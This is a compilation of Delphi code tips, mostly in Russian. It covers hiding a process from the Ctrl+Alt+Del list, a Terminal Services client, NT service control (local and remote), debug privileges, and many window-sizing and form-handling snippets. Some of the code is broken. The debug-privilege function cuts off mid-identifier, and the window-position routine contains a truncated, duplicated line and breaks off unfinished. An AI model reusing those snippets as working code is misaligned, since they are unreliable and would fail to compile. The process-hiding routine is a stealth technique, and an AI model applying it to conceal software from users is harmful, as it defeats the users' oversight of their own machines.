Автор:       VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright:   VID
Дата:        23 мая 2002 г.
***************************************************** }

unit cad;

interface
uses windows;

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'KERNEL32.DLL';
function ShowHideInCad(ProcessID: Integer; Show: Boolean): boolean;
function TakeProcessID(WindowTitle: string): Integer;
function TakeMyApplicationProcessID: Integer;

implementation

//Получение дескриптора процесса любого окна, по заголовку этого окна

function TakeProcessID(WindowTitle: string): Integer;
var
  WH: THandle;
begin
  result := 0;
  WH := FindWindow(nil, pchar(WindowTitle));
  if WH <> 0 then
    GetWindowThreadProcessID(WH, @Result);
end;

//Получение дескриптора процесса собственного приложения

function TakeMyApplicationProcessID: Integer;
begin
  Result := GetCurrentProcessID;
end;

//Отображение/Скрытие процесса в CTRL+ALT+DEL

function ShowHideInCAD(ProcessID: Integer; Show: Boolean): Boolean;
begin
  result := true;
  try
    //если show = true , то отображаем процесс в CAD, иначе - прячем
    if Show = True then
      RegisterServiceProcess(ProcessID, 0)
    else
      RegisterServiceProcess(ProcessID, 1);
  except result := false;
  end;
end;

end.
К заголовку




" Создать Terminal Services Client
{
"WINDOWS2000 SERVER" / "WINDOWS XP" terminal services are very important in a computer
network: each client computer can emulate server's desktop by using a simple executable
named "mstsc.exe". This executable uses the ActiveX control "MStscax" defined in
"mstscax.dll".
These files are automatically installed in Windows XP and Windows 2000 Server but not
in Windows2000 Professional or Windows98. You can download the entire package containing
these file at the following url:

http://www.microsoft.com/windows2000/downloads/recommended/TSAC/tsmsi.asp?Lang=

After downloading the executable "tsmsisetup.exe", run it to unpack. Now let's
take into consideration the folder "System32": this is the folder containing
"mstsc.exe" and "mstscax.dll".
Now register the ActiveX control "MsTscAx":

  1)Start->Run->
  2)type the following command line: regsvr32 \mstscax.dll

where  is the complete path to the file "mstscax.dll".

In this article I will show you how to embed the ActiveX control "MsTscAx"
in a Delphi application in order to build a substitute of "mstsc.exe".

First of all you must import the ActiveX control "mstscax":
in the Delphi IDE:
1)Component->Import ActiveX Control
2)Select "Microsoft Terminal Services Control"
  the class name will be "TMsTscAx"
3)Select the unit dir name and press "Create Unit": you have created the import Unit.
4)Create a package or select an existing one and add the created unit to this package
  Recompile the package and now delphi palette will contain (in the ActiveX tab if you
  haven't changed it in the importing process) the MstScax component.

Now create a new Delphi project and add the Mstscax component to it.
Let's go to analize the interesting properties of this new component:

1)Server: this is the IP of the Windows2000 Server computer whose desktop we want
  to emulate
2)BitmapPeristence:
  1 if you want to cache Bitmaps or 0 otherwise
3)Compress:
  1 if you want to cache data or 0 otherwise

With the "Connect" method I open a terminal emulation session.
With the "Disconnect" method I disconnect from a terminal emulation session but the
session itself isn't closed on the server.

Another important feature of "Client Terminal Service" is the ability to define a
program that automatically run when the client machine opens a terminal
emulation session. You can programatically achieve this target in this manner:

Set_StartProgram(\);

Once defined an automatically running program, the client computer will see a remote
desktop which is clear except for the presence of the program itself; this is
useful if you want to restrict the operative range of your client computers to the
program itself. When the program is closed, the connection is closed and the session
on the windows 2000 server computer is closed.

this is the code of my example project:
}

 unit Main;

 interface

 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   OleCtrls, ExtCtrls, StdCtrls,
   MSTSCLib_TLB;//the import Unit: substitute it with the name you assigned
               //during the import process if this is different to it

type
   TForm1 = class(TForm)
     MsTscAx1: TMsTscAx;
     Panel1: TPanel;
     btConnect: TButton;
     procedure btConnectClick(Sender: TObject); //connection button
    procedure FormCreate(Sender: TObject);
     procedure FormClose(Sender: TObject; var Action: TCloseAction);
     procedure MsTscAx1Disconnected(Sender: TObject;
       DisconnectReason: Integer);
     procedure MsTscAx1Connecting(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

 var
   Form1: TForm1;

 implementation

 {$R *.DFM}

 procedure TForm1.btConnectClick(Sender: TObject);
 begin
   MsTscAx1.Connect;
 end;

 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Left   := 0;
   Top    := 0;
   Height := Screen.Height - 20;
   Width  := Screen.Width;

   MsTscAx1.Server := '1.2.3.4'; //substitute it with the IP Address of your server
  with MsTscAx1.AdvancedSettings do
   begin
     BitmapPeristence := 1;//enable bitmap cache
    Compress         := 1;//enable data cache
  end;
   with MsTscAx1.SecuredSettings do
   begin
     Set_StartProgram('C:\Sviluppo\Delphi\DbBrowser.exe');
     //the program I want to run
  end;
 end;

 procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
 begin
   if not btConnect.Enabled then
    //I must close the automatically running program before closing
  //my terminal emulation program
  begin
     MessageDlg('Close "DbBrowser.exe" before closing the application!',
       mtInformation, [mbOK], 0);
     Action := caNone;
   end;
 end;

 procedure TForm1.MsTscAx1Disconnected(Sender: TObject;
   DisconnectReason: Integer);
 begin
   btConnect.Enabled := True;
 end;

 procedure TForm1.MsTscAx1Connecting(Sender: TObject);
 begin
   btConnect.Enabled := False;
 end;

 end.

  {
In order to run this application in another computer you must copy the file
"mstscax.dll" on the target
computer and register it with "regsvr32" as shown at the beginning of this
article. You can automate this
process by embedding the file in your executable, etc..

Carlo Pasolini, Riccione(Italy), ccpasolini@libero.it
}
К заголовку




" Управление сервисами NT
{
  The following class TServiceManager can be used to manage your NT-Services.
  You can do things like start, stop, pause or querying a services status.
}

 {
  Die folgende Klasse TServiceManager kann verwendet werden, um NT-Dienste
  zu verwalten. Hierbei gibt es Funktionen wie Start, Stop, Pause sowie
  Statusabfragen.
}


 //  Thanks for this one to Frederik Schaller as well - it's a co-work }

unit ServiceManager;

 interface

 uses
   SysUtils, Windows, WinSvc;

 type

   TServiceManager = class
   private
     { Private declarations }
     ServiceControlManager: SC_Handle;
     ServiceHandle: SC_Handle;
   protected
     function DoStartService(NumberOfArgument: DWORD; ServiceArgVectors: PChar): Boolean;
   public
     { Public declarations }
     function Connect(MachineName: PChar = nil; DatabaseName: PChar = nil;
       Access: DWORD = SC_MANAGER_ALL_ACCESS): Boolean;  // Access may be SC_MANAGER_ALL_ACCESS
    function OpenServiceConnection(ServiceName: PChar): Boolean;
     function StartService: Boolean; overload; // Simple start
    function StartService(NumberOfArgument: DWORD; ServiceArgVectors: PChar): Boolean;
       overload; // More complex start
    function StopService: Boolean;
     procedure PauseService;
     procedure ContinueService;
     procedure ShutdownService;
     procedure DisableService;
     function GetStatus: DWORD;
     function ServiceRunning: Boolean;
     function ServiceStopped: Boolean;
   end;

 implementation

 { TServiceManager }

 function TServiceManager.Connect(MachineName, DatabaseName: PChar;
   Access: DWORD): Boolean;
 begin
   Result := False;
   { open a connection to the windows service manager }
   ServiceControlManager := OpenSCManager(MachineName, DatabaseName, Access);
   Result := (ServiceControlManager <> 0);
 end;


 function TServiceManager.OpenServiceConnection(ServiceName: PChar): Boolean;
 begin
   Result := False;
   { open a connetcion to a specific service }
   ServiceHandle := OpenService(ServiceControlManager, ServiceName, SERVICE_ALL_ACCESS);
   Result := (ServiceHandle <> 0);
 end;

 procedure TServiceManager.PauseService;
 var
   ServiceStatus: TServiceStatus;
 begin
   { Pause the service: attention not supported by all services }
   ControlService(ServiceHandle, SERVICE_CONTROL_PAUSE, ServiceStatus);
 end;

 function TServiceManager.StopService: Boolean;
 var
   ServiceStatus: TServiceStatus;
 begin
   { Stop the service }
   Result := ControlService(ServiceHandle, SERVICE_CONTROL_STOP, ServiceStatus);
 end;

 procedure TServiceManager.ContinueService;
 var
   ServiceStatus: TServiceStatus;
 begin
   { Continue the service after a pause: attention not supported by all services }
   ControlService(ServiceHandle, SERVICE_CONTROL_CONTINUE, ServiceStatus);
 end;

 procedure TServiceManager.ShutdownService;
 var
   ServiceStatus: TServiceStatus;
 begin
   { Shut service down: attention not supported by all services }
   ControlService(ServiceHandle, SERVICE_CONTROL_SHUTDOWN, ServiceStatus);
 end;

 function TServiceManager.StartService: Boolean;
 begin
   Result := DoStartService(0, '');
 end;

 function TServiceManager.StartService(NumberOfArgument: DWORD;
   ServiceArgVectors: PChar): Boolean;
 begin
   Result := DoStartService(NumberOfArgument, ServiceArgVectors);
 end;

 function TServiceManager.GetStatus: DWORD;
 var
   ServiceStatus: TServiceStatus;
 begin
 { Returns the status of the service. Maybe you want to check this
  more than once, so just call this function again.
  Results may be: SERVICE_STOPPED
                  SERVICE_START_PENDING
                  SERVICE_STOP_PENDING
                  SERVICE_RUNNING
                  SERVICE_CONTINUE_PENDING
                  SERVICE_PAUSE_PENDING
                  SERVICE_PAUSED   }
   Result := 0;
   QueryServiceStatus(ServiceHandle, ServiceStatus);
   Result := ServiceStatus.dwCurrentState;
 end;

 procedure TServiceManager.DisableService;
 begin
   { Implementation is following... }
 end;

 function TServiceManager.ServiceRunning: Boolean;
 begin
   Result := (GetStatus = SERVICE_RUNNING);
 end;

 function TServiceManager.ServiceStopped: Boolean;
 begin
   Result := (GetStatus = SERVICE_STOPPED);
 end;

 function TServiceManager.DoStartService(NumberOfArgument: DWORD;
   ServiceArgVectors: PChar): Boolean;
 var
   err: integer;
 begin
   Result := WinSvc.StartService(ServiceHandle, NumberOfArgument, ServiceArgVectors);
 end;

 end.
К заголовку




" Управлять сервисом на другом компьютере в W2k
uses
  Windows, Messages, SysUtils, StdCtrls, SvcMgr;

var
  ssStatus: TServiceStatus;
  schSCManager, schService: SC_HANDLE ;

begin
  schSCManager := OpenSCManager( PChar('Comp1'), // имя компьютера, nil - local machine
  nil, // ServicesActive database
  SC_MANAGER_ALL_ACCESS); // full access rights

  if schSCManager = 0 then
    exit; //Ошибка?

  schService := OpenService(
  schSCManager, // SCM database
  PChar('SQLServerAgent'), // посмотри имя в Services. В данном случае - MS Server Agent
  SERVICE_ALL_ACCESS);

  if schService = 0 then
    exit; //Ошибка?

  if not QueryServiceStatus(
  schService, // handle to service
  ssStatus) then // address of status information structure
    exit; //Ошибка?

  case ssStatus.dwCurrentState of:
    SERVICE_RUNNING: ShowMessage('Работает!');
    SERVICE_STOPPED: ShowMessage('Выключен');
    // ну и т.д.
  end;
end;
К заголовку




" Установка или снятие Debug привелегии у текущего процесса
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Установка/снятие Debug привелегии у текущего процесса

Функция устанавливает/снимает отладочные привелегии у текущего процесса
(можно выбрать и другой, изменив GetCurrentProcess на нужный Handle ).

Актуально для совместного использования с ToolHelp -
т.е. получения информации о процессах.

Зависимости: Windows
Автор:       Мироводин Дмитрий (адаптация), mirovodin@mail.ru
Copyright:   2000 Jeffrey Richter
Дата:        20 октября 2003 г.
***************************************************** }

function EnableDebugPrivilege(const Value: Boolean): Boolean;
const
  SE_DEBUG_NAME = 'SeDebugPrivilege';
var
  hToken: THandle;
  tp: TOKEN_PRIVILEGES;
  d: DWORD;
begin
  Result := False;
  if OpenProcessToken(GetCurrentProcess(), TOKEN_
К заголовку




" Восстановление размера окна
Существует ли какой-либо способ получения координат формы, которые она должна иметь при восстановлении с максимально
распахнутого состояния?

Используйте API Функцию GetPlacement. Следующая выдержка из кода моего компонента TBag демонстрирует это:

procedure TBag.SetFormPlace(AName: string; AForm: TForm);
var
  s: string[99];
  Place: TWindowPlacement;
begin
  Place.length := SizeOf(TWindowPlacement);
  if not GetWindowPlacement(AForm.Handle, @Place) then
    exit;
  with Place do
  begin
    s := IntToStr(Flags);
    s := AppendS(s, ShowCmd);
    s := AppendS(s, ptMinPosition.X);
    s := AppendS(s, ptMinPosition.Y);
    s := AppendS(s, ptMaxPosition.X);
    s := AppendS(s, ptMaxPosition.Y);
    s := AppendS(s, rcNormalPosition.Left);
    s := AppendS(s, rcNormalPosition.Top);
    s := AppendS(s, rcNormalPosition.Right);
    s := AppendS(s, rcNormalPosition.Bottom);
  end;
  SetString(AName, s);
end;

К заголовку




" Границы для перемещения формы в рабочей области
// For some reason messages.pas declares no message record for this message

type
   TWmMoving = record
     Msg: Cardinal;
     fwSide: Cardinal;
     lpRect: PRect;
     Result: Integer;
   end;

 // Add a handler to your forms private section:

procedure WMMoving(var msg: TWMMoving); message WM_MOVING;

 // Implement it as

  procedure TFormX.WMMoving(var msg: TWMMoving);
   var
     r: TRect;
   begin
     r := Screen.WorkareaRect;
    // compare the new form bounds in msg.lpRect^ with r and modify it if
   // necessary
    if msg.lprect^.left < r.left then
       OffsetRect(msg.lprect^, r.left - msg.lprect^.left, 0);
     if msg.lprect^.top < r.top then
       OffsetRect(msg.lprect^, 0, r.top - msg.lprect^.top);
     if msg.lprect^.right > r.right then
       OffsetRect(msg.lprect^, r.right - msg.lprect^.right, 0);
     if msg.lprect^.bottom > r.bottom then
       OffsetRect(msg.lprect^, 0, r.bottom - msg.lprect^.bottom);
     inherited;
   end;
К заголовку




" Как заставить форму находиться позади всех окон в системе
Для этого достаточно висеть на WM_ACTIVATE и при активации окна помещать последнее вниз Z-order'а:

SetWindowPos(
Handle, // здесь указать хэндл окна формы
HWND_BOTTOM,
0, 0, 0, 0,
SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE or SWP_NOREDRAW

К заголовку




" Как развернуть форму на весь экран, как в играх
interface

uses
 Windows, Messages, SysUtils, Classes, Controls,
Forms,
 StdCtrls;

type
 TForm1 = class(TForm)
   Button1: TButton;
   Button2: TButton;
   procedure Button1Click(Sender: TObject);
   procedure Button2Click(Sender: TObject);
 private
   { Private declarations }
procedure WMGetMinMaxInfo(var msg: TWMGetMinMaxInfo);
message WM_GETMINMAXINFO;

 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.DFM}
procedure TForm1.WMGetMinMaxInfo(var msg:
TWMGetMinMaxInfo);
begin
 inherited;
 with msg.MinMaxInfo^.ptMaxTrackSize do begin
   X := GetDeviceCaps( Canvas.handle, HORZRES ) +
(Width - ClientWidth);
   Y := GetDeviceCaps( Canvas.handle, VERTRES ) +
(Height - ClientHeight );
 end;

end;

procedure TForm1.Button1Click(Sender: TObject);
const
Rect: TRect = (Left: 0; Top: 0; Right: 0; Bottom: 0);
FullScreen: Boolean = False;
// Разворачиваем на весь экран
begin
FullScreen := not FullScreen;
if FullScreen then begin
Rect := BoundsRect;
SetBounds( Left - ClientOrigin.X,
Top - ClientOrigin.Y, GetDeviceCaps( Canvas.handle,
HORZRES )
+ (Width - ClientWidth), GetDeviceCaps( Canvas.handle,
VERTRES )
+ (Height - ClientHeight ));
                  end
else BoundsRect := Rect;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Close;
end;

end.
К заголовку




" Как узнать, была ли перемещена форма
...

type
  TfrmMain = class(TForm)
  private
    procedure OnMove(var Msg: TWMMove); message WM_MOVE;
end;

...

procedure TfrmMain.OnMove(var Msg: TWMMove);
begin
  inherited;
  ...
end;

...
К заголовку




" Как узнать, что форма готовится изменить размеры
{Перехватываем сообщение GetMinMaxInfo и
 устанавливаем минимальный размер окна,
 используя декларированные константы}
procedure TForm1.WMGETMINMAXINFO( var message: TMessage );
var
  mStruct: PMinMaxInfo;
begin
  mStruct := PMinMaxInfo(message.lParam);
  mStruct.ptMinTrackSize.x := HORIZONTALSIZE;
  mStruct.ptMinTrackSize.y := VERTICALSIZE;
  message.Result := 0;
end;
К заголовку




" Момент окончания изменения размера или перемещения окна
type
  TForm1 = class(TForm)
  private
    { Private declarations }
  public
    procedure WMEXITSIZEMOVE(var Message: TMessage);
      message WM_EXITSIZEMOVE;
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMEXITSIZEMOVE(var Message: TMessage);
begin
  Form1.Caption := 'Finished Moving and sizing';
end;
К заголовку




" Найти формы, которые частично перекрывают окно вашего приложения
Найти формы, которые частично перекрывают окно вашего приложения

Оформил: DeeCo
Автор: http://www.swissdelphicenter.ch

{

  You would have to iterate over all windows above yours in Z-order and
  check for each window you find if it has the WS_EX_TOPMOST exstyle set
  and is visible.
  If it has, you have to get its window rectangle (GetWindowRect) and test
  if that overlaps your window.

  Example:

}

 procedure TForm1.Button1Click(Sender: TObject);
 var
   wnd: HWND;

   function IsTopMost(wnd: HWND): Boolean;
   begin
     Result := (GetWindowLong(wnd, GWL_EXSTYLE) and WS_EX_TOPMOST) <> 0;
   end;

   procedure logWindowInfo(wnd: HWND);
   const
     visString: array[Boolean] of string = ('not ', '');
   var
     buffer: array[0..256] of Char;
     r:      TRect;
   begin
     if wnd = 0 then Exit;
     GetClassName(wnd, buffer, SizeOf(buffer));
     with Memo1.Lines do
     begin
       Add(Format(' Window of class %s ', [buffer]));
       GetWindowRect(wnd, r);
       Add(Format(' at (%d,%d):(%d,%d)', [r.Left, r.Top, r.Right, r.Bottom]));
       Add(Format(' Window is %svisible', [visString[IsWindowVisible(wnd)]]));
       Add(Format(' Window is %stopmost', [visString[IsTopmost(wnd)]]));
     end;
   end;

    begin
   Memo1.Clear;
   wnd := Handle;
   repeat
     wnd := GetNextWindow(wnd, GW_HWNDPREV);
     LogWindowInfo(wnd);
   until wnd = 0;
   Memo1.Lines.Add('End log.');
 end;


К заголовку




" Обработать моменты сворачивания и разворачивания формы
private
     { Private declarations }
     procedure WMSyscommand(var msg: TWmSysCommand); message WM_SYSCOMMAND;
     procedure WMSize( Var msg: TWMSize ); Message WM_SIZE;
   end;

 var
   Form1: TForm1;

 implementation

 {$R *.dfm}

 procedure TForm1.WMSyscommand(var msg: TWmSysCommand);
 begin
    case (msg.CmdType and $FFF0) of
      SC_MINIMIZE: begin
                     ShowMessage('Window about to MINIMIZE');
                   end;
      SC_RESTORE : begin
                     ShowMessage('Window about to RESTORE');
                   end;
      SC_MAXIMIZE: begin
                     ShowMessage('Window about to MAXIMIZE');
                   end;
    end;
    inherited;
 end;

 procedure TForm1.WMSize(var msg: TWMSize);
 begin
   If msg.Sizetype = SIZE_MAXIMIZED then
     ShowMessage('Window MAXIMIZED');
   inherited;
 end;
К заголовку




" Обработка запроса на максимальное раскрытие окна
Мне необходимо иметь в приложении форму, раскрывающуюся при нажатии на кнопку "Открыть на весь экран" только в
половину экрана, а не на полный экран.

Вам необходимо обработать из вашей формы сообщение WM_GETMINMAXINFO.

Например, добавьте следующее объявление в защищенную (protected) секцию вашей формы (interface):

procedure _WM_GETMINMAXINFO( var mmInfo : TWMGETMINMAXINFO );
  message wm_GetMinMaxInfo;


и создайте обработчик этого сообщения следующим образом (TForm1, естественно, имя вашей формы):

procedure TForm1._WM_GETMINMAXINFO(var mmInfo: TWMGETMINMAXINFO);
begin
  // устанавливаем позицию и размер вашей формы
  // при ее максимальном раскрытии:
  with mmInfo.minmaxinfo^ do
  begin
    ptmaxposition.x := Screen.Width div 4;
    ptmaxposition.y := Screen.Height div 4;

    ptmaxsize.x := Screen.Width div 2;
    ptmaxsize.y := Screen.Height div 2;
  end;
end;

К заголовку




" Ограничение размеров окна
private
  { Private declarations }
  procedure WMGetMinMaxInfo(var Info: TWMGetMinMaxInfo); message wm_GetMinMaxInfo;

implementation

{$R *.DFM}

procedure TForm1.WMGetMinMaxInfo(var Info:TWMGetMinMaxInfo);
begin
  with Info.MinMaxInfo^ do
  begin
      ptMinTrackSize.x := 200;
      ptMinTrackSize.y := 100;
      ptMaxTrackSize.x := 300;
      ptMaxTrackSize.y := 200;
      ptMaxPosition.x := BoundsRect.Left;
      ptMaxPosition.y := BoundsRect.top;
  end;
  inherited;
end;
К заголовку




" Определить, находится ли окно в режиме Выше всех
function IsWindowTopMost(hWindow: HWND): Boolean;
 begin
   Result := (GetWindowLong(hWindow, GWL_EXSTYLE) and WS_EX_TOPMOST) <> 0
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if isWindowTopMost(FindWindow('notepad', nil)) then
     Label1.Caption := 'Window ist topmost'
   else
     Label1.Caption := 'Window ist not topmost';
 end;
К заголовку




" Плавающая палитра
На самоме деле для создания плавающей (floating) палитры вы можете использовать вышу форму. Хитрость заключается
в том, чтобы убедиться, что окно палитры всегда появляется на "переднем плане" основного окна, а не сверху всех
других окон. Этот эффект может быть достигнут перекрытием метода CreateParams вашей формы. Для примера,

procedure TForm2.CreateParams( var Params: TCreateParams );
begin
  inherited CreateParams( Params );
  with Params do
  begin
    Style := Style or ws_Overlapped;
    WndParent := Form1.Handle;
  end;
end;

К заголовку




" Предотвращение изменения вертикальных размеров окна
Вы должны перехватывать сообщение WM_GETMINMAXINFO:

Поместите это в декларацию класса формы:

procedure WMGetMinMaxInfo(var Msg: TWMGetMinMaxInfo);
message WM_GETMINMAXINFO;


и в секции реализации:

procedure TMyForm.WMGetMinMaxInfo(var Msg: TWMGetMinMaxInfo);
begin
  { --------------------------------------------------------------------}
  { Поместите ваши величины вместо                                      }
  { MIN_WIDTH, MIN_HEIGHT, MAX_WIDTH, MAX_HEIGHT                        }
  {                                                                     }
  { Для возможности только горизонтального изменение размера,           }
  { поместите значение свойства формы 'Height' в MIN_HEIGHT, MAX_HEIGHT }
  { --------------------------------------------------------------------}
  Msg.MinMaxInfo^.ptMinTrackSize := Point(MIN_WIDTH, MIN_HEIGHT);
  Msg.MinMaxInfo^.ptMaxTrackSize := Point(MAX_WIDTH, MAX_HEIGHT);
  inherited;
end;

К заголовку




" Предохранить форму от перемещения и изменения размеров
private

    procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;

   {...}
 implementation


 procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);
 begin
   if ((Msg.CmdType and $FFF0) = SC_MOVE) or
     ((Msg.CmdType and $FFF0) = SC_SIZE) then
   begin
     Msg.Result := 0;
     Exit;
   end;
   inherited;
 end;
К заголовку




" При изменении размеров окна без заголовка сначала отрисовывается рамка будущих размеров
Вот пример для правого нижнего угла окна, в котором расположен Image1 (или еще что-нибудь)

...
const
  MinHeight = 200;
  MinWidth = 200; //Минимальная ширина и высота формы. При желании
  можна и впихнуть максимальную

var
  isResizing: boolean = false;
  oldPos: TPoint;
  WRect: TRect;
  ...

procedure TfrmMain.Image1MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  isResizing := true;
  oldPos := Mouse.CursorPos;
  GetWindowRect(Handle, WRect); //получаем прямоугольник окна
  DrawFocusRect(GetDC(0), WRect); //АПИ функция, рисующая рамку
end;

procedure TfrmMain.Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
var
  dx, dy: integer;
begin
  if isResizing then
  begin
    DrawFocusRect(GetDC(0), WRect); //стираем предыдущую рамку
    dx := Mouse.CursorPos.X - oldPos.X;
    dy := Mouse.CursorPos.Y - oldPos.Y;
    if (WRect.Right - WRect.Left + dx > MinWidth) and (WRect.Right + dx <
      Screen.Width) then
      WRect.Right := WRect.Right + dx;
    if (WRect.Bottom - WRect.Top + dy > MinHeight) and (WRect.Bottom + dy <
      Screen.Height) then
      WRect.Bottom := WRect.Bottom + dy;
  end;
  oldPos := Mouse.CursorPos;
  DrawFocusRect(GetDC(0), WRect);
end;
end;

procedure TfrmMain.Image1MouseUp(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  if isResizing then
  begin
    DrawFocusRect(GetDC(0), WRect);
    BoundsRect := WRect;
  end;
  isResizing := false;
end;
К заголовку




" Размер диалогового окна
Давайте начнем с Microsoft Windows User Interface Guidelines (Руководящие Принципы Построения Интерфейса
Пользователя Microsoft Windows) и допустим, что мы создаем диалоговое окно, содержащее компонент TMemo,
занимающий большую часть площади формы и кнопки OK и Cancel, размещенные в ее нижней части.

Несколько примечаний из "Принципов":

   1. Диалоговые окна должны быть основаны на базовых диалоговых модулях, dialog base units (DBU), которые
создаются с учетом размера шрифта и разрешения экрана.
   2. Диалоговые окна должны быть созданы, по возможности, на основе одного из нескольких стандартных размеров.
Для нашего окна мы используем размер 212x188 DBU.
   3. Все элементы управления должны распологаться как минимум на расстоянии 7 DBU от края окна.
   4. Все элементы управления должны иметь между друг другом зазор размером минимум 4 DBU.
   5. Кнопки должны иметь высоту 14 DBU. (Про ширину кнопок "принципы" умалчивают; в обычном случая я использую
кнопки шириной 40 DBU.)

Вот необходимая для создания формы и элементов управления информация, которую мы можем получить во время
выполнения приложения:

procedure TMyForm.FormCreate(Sender: TObject);
var
  BaseUnit, Margin, Spacing, BtnW, BtnH: Integer;
begin
  BaseUnit := Canvas.TextHeight('0'); { 1 BaseUnit = 8 DBU определениям }
  Width := (212 * BaseUnit) div 8;
  Height := (188 * BaseUnit) div 8;
  Margin := (7 * BaseUnit) div 8 - GetSystemMetrics(SM_CXFIXEDFRAME);
  Spacing := (4 * BaseUnit) div 8;
  BtnW := (40 * BaseUnit) div 8;
  BtnH := (14 * BaseUnit) div 8;
  Memo1.SetBounds(Margin, Margin, ClientWidth - 2 * Margin, ClientHeight -
    2 * Margin - Spacing - BtnH);
  OkButton.SetBounds(ClientWidth - Margin - Spacing - 2 * BtnW, ClientHeight -
    Margin - BtnH, BtnW, BtnH);
  CancelButton.SetBounds(ClientWidth - Margin - BtnW, ClientHeight - Margin -
    BtnH, BtnW, BtnH);
end;


Данный код позволяет создать диалоговое окно с правильными размерами и пропорциями, независимо от разрешения экрана и шрифтов.
К заголовку




" Реакция на минимизацию формы перед тем как произойдет изменение размера
type
       TForm1 = class(TForm)
       private
       {Private declarations}
       procedure WMSysCommand(var Msg: TWMSysCommand);
       message WM_SYSCOMMAND;
       public
       {Public declarations}
end;

var
       Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMSysCommand;
begin
       if (Msg.CmdType = SC_MINIMIZE) or (Msg.CmdType = SC_MAXIMIZE) then
       MessageBeep(0)
       else
       inherited;
end;
К заголовку




" Ручное масштабирование формы
{
  Der erste Parameter von ScaleBy ist der Multiplikator, der zweite
  der Divisor. Folgendes Beispiel skaliert die Form auf 150%

  The first parameter of ScaleBy is the multiplier, the second
  the divisor. The example scale the form to 150%
}

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ScaleBy(150, 100);
 end;
К заголовку




" Сворачивает все приложение при сворачивании неглавного окна
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сворачивает все приложение при сворачивании неглавного окна.

Обработчик сообщении. При попытке свернуть окно - сворачивает все приложение.
Предназначен для неглавных немодальных окон.

Зависимости: Как у стандартной формы...
Автор:       Vemer, Vemer@mail.ru, Петрозаводск
Copyright:   создано на основе примеров на www.delphimaster.ru
Дата:        17 марта 2004 г.
***************************************************** }

// Пишем в Private формы(неглавной);
procedure WMSysCommand(var message: TWMSysCommand); message WM_SysCommand;
...

// Пишем в тексте программы:
procedure TF_Shop.WMSysCommand(var message: TWMSysCommand);
begin
  if message.CmdType = SC_MINIMIZE then
    Application.Minimize
  else
    inherited;
end;
К заголовку




" Создать растягиваемую без бордюра форму
{
  With this code you can create none border style (BorderStyle = bsNone)
  but sizeable windows (forms)
  First you must set BorderStyle := bsNone of your Form in Object Browser.
  There is your small but forced code;
}

type
  TForm1 = class(TForm)
  private
    { Private declarations }
  public
    { Public declarations }
    procedure CreateParams(var Params: TCreateParams); override;
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  Params.Style := (Params.Style or WS_THICKFRAME);
end;
К заголовку




" Сохранение и восстановление положения и размеров окон
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сохранение и восстановление положения и размеров окон

Процедуры SaveWndPos и SetWndPos работают в паре.
Сохраняют для конкретного пользователя Windows в реестре местоположение,
размер окон (и прочих Control'ов при явном указании),
а также ширины и порядок расположения колонок в DBGrid'ах на форме.
Не дает "потерять" колонки совсем.
Возможные проблемы:
1. С записью в реестр без прав (в некую левую ветку).
2. При изменении имен и количества полей в DBGrid'е.
3. С окнами неизменяемого размера, если его в Design-time поменяли.
Комментарии:
1. Статус колонки DBGrid (visible, readonly) не сохраняется, но сделать
это несложно.
2. Для формы, которая используются для разных целей, но хотелось бы
сохранить ее характеристики для каждой цели отдельно, можно явно
указывать УНИКАЛЬНЫЙ класс.
Важное уточнение:
Сохранение параметров DBGrid происходит ТОЛЬКО при статически
описанных колонках в самом гриде.
Еще комментарий:
параметр lSetSize в SetWndPos применяется только к размерам формы, а
не к ширине колонок. Но можно и это учесть.

Зависимости: Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, ExtCtrls, Buttons, Registry, Math, DB, DbTables, dbGrids
Автор:       Александр Хабаров aka Desdechado, x_a_u@mail.ru, Феодосия
Copyright:   Александр Хабаров
Дата:        13 мая 2002 г.
***************************************************** }

const
  cRegKey = '\Software\CoolSoft\Настройки\';

procedure SaveWndPos(frm: TControl; cClass: string = '');
var
  rct: TRect;
  oReg: TRegistry;
  grid: TDBGrid;
  i, j: Integer;
begin
  {--- определить параметры ---}
  rct := frm.BoundsRect;
  if (cClass = '') then
    cClass := frm.ClassName;
  {--- сохранить в реестре ---}
  oReg := TRegistry.Create();
  with (oReg) do
  try
    RootKey := HKEY_CURRENT_USER;
    {--- ... размер окна ---}
    if (OpenKey(cRegKey + cClass, True)) then
    begin
      if (frm is TForm) then
        WriteInteger('Show', Ord((frm as TForm).WindowState));
      if (not (frm is TForm) or
        ((frm as TForm).WindowState = wsNormal)) then
      begin
        WriteInteger('Left', rct.Left);
        WriteInteger('Top', rct.Top);
        WriteInteger('Right', rct.Right);
        WriteInteger('Bottom', rct.Bottom);
      end;
    end;
    CloseKey();
    {--- ... размеры и положение колонок в Grid'ах ---}
    for i := 0 to frm.ComponentCount - 1 do
      if (frm.Components[i].ClassName = D
        if (frm.Components[i].ClassName = 'TDBGrid') then
        begin
          grid := TDBGrid(frm.Components[i]);
          for j := 0 to grid.Columns.Count - 1 do
          begin
            if (OpenKey(cRegKey + cClass + '\' + grid.Name + '\' +
              IntToStr(j), True)) then
            begin
